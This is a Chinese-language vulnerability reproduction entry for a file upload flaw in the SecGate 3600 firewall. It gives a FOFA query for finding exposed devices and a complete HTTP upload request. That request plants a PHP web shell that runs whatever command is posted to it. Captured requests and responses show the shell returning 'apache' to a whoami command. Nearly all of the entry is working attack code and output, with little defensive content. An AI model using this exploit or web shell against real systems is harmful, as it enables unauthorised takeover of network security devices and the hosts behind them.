

Q1-9奇安信-网神SecSSL3600-文件上传

漏洞描述：

网神SecGate 3600防火墙obj_area_import_save、app_av_import_save、sec_web_auth_custom_setting_confsave存在文件上传漏洞，攻击者可以通过该漏洞获取服务器控制权限。

网站图片：



网络测绘：

fofa语法：

FOFA: title="网神SecGate 3600防火墙"

漏洞复现：

payload:

```
POST /?g=sec_web_auth_custom_setting_confsave HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
Connection: close

-----WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="certfile"; filename="a.php"
Content-Type: text/plain

<?php system($_POST['cmd']);unlink(__FILE__);?>
-----WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="submit_post"

sec_web_auth_custom_setting_confsave
-----WebKitFormBoundaryJpMyThWnAxbcBBQc
Content-Disposition: form-data; name="certfile_r"

file
-----WebKitFormBoundaryJpMyThWnAxbcBBQc--
```

效果图:

Request

< > 数据包扫描 热加载 构造请求

1 POST /?g=sec_web_auth_custom_setting_confsave HTTP/1.1

2 Host :

3 User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

4 Accept: */*

5 Accept-Encoding: gzip, deflate

6 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc

7 Connection: close

8

9 -----WebKitFormBoundaryJpMyThWnAxbcBBQc

10 Content-Disposition: form-data; name="certfile"; filename="a.php"

11 Content-Type: text/plain

12

13 <?php system(\$_POST['cmd']); unlink(__FILE__);>

14 -----WebKitFormBoundaryJpMyThWnAxbcBBQc

15 Content-Disposition: form-data; name="submit_post"

16

17 sec_web_auth_custom_setting_confsave

18 -----WebKitFormBoundaryJpMyThWnAxbcBBQc

19 Content-Disposition: form-data; name="certfile_r"

20

21 file

22 -----WebKitFormBoundaryJpMyThWnAxbcBBQc--

Responses https 7444bytes / 116ms

1 HTTP/1.1 200 OK

2 Expires: Mon, 26 Jul 1997 05:00:00 GMT

3 Cache-Control: no-cache, must-revalidate

4 Pragma: no-cache

5 Content-type: text/html; charset=UTF-8

6 Connection: close

7 Date: Tue, 12 Dec 2023 18:48:12 GMT

8 Content-Length: 7444

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

命令执行

Request

< > 数据包扫描 热加载 构造请求

1 POST /attachements/a.php HTTP/1.1

2 Host :

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4 Content-Type: application/x-www-form-urlencoded

5 Accept-Encoding: gzip

6 Connection: close

7

8 cmd=whoami

Responses https

1 HTTP/1.1 200 OK

2 Content-Type: text/html; charset=UTF-8

3 Connection: close

4 Date: Tue, 12 Dec 2023 18:48:12 GMT

5 Content-Length: 7444

6

7 apache

8